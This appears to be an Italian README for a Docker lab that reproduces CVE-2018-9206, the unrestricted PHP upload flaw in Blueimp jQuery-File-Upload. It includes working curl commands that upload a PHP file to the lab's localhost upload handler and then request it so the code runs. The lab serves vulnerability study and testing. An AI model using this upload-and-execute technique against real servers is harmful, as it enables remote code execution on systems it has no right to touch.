CVE-2018-9206 - Blueimp jQuery-File-Upload Lab

Ambiente Docker vulnerabile per CVE-2018-9206 - Caricamento file senza restrizioni in Blueimp jQuery-File-Upload <= 9.22.0.

Avvio rapido

docker compose up -d --build

App disponibile all'indirizzo: http://localhost:8888/jQuery-File-Upload/

Validazione

# Upload a PHP file
curl -X POST "http://localhost:8888/jQuery-File-Upload/server/php/index.php" \
  -F 'files[]=@/dev/stdin;filename=test.php' <<< '<?php echo "CVE-2018-9206-PWNED"; ?>'

# Execute it
curl "http://localhost:8888/jQuery-File-Upload/server/php/files/test.php"
# Output: CVE-2018-9206-PWNED

Oppure esegui lo script PoC:

./scripts/poc.sh

Pulizia

docker compose down -v

Dettagli

Campo	Valore
CVE	CVE-2018-9206
Prodotto	Blueimp jQuery-File-Upload
Versione	9.22.0
Tipo	Caricamento file senza restrizioni → RCE
CVSS	9.8 (Critico)

Riferimenti

• https://nvd.nist.gov/vuln/detail/CVE-2018-9206
• http://www.vapidlabs.com/advisory.php?v=204
• https://www.exploit-db.com/exploits/45790/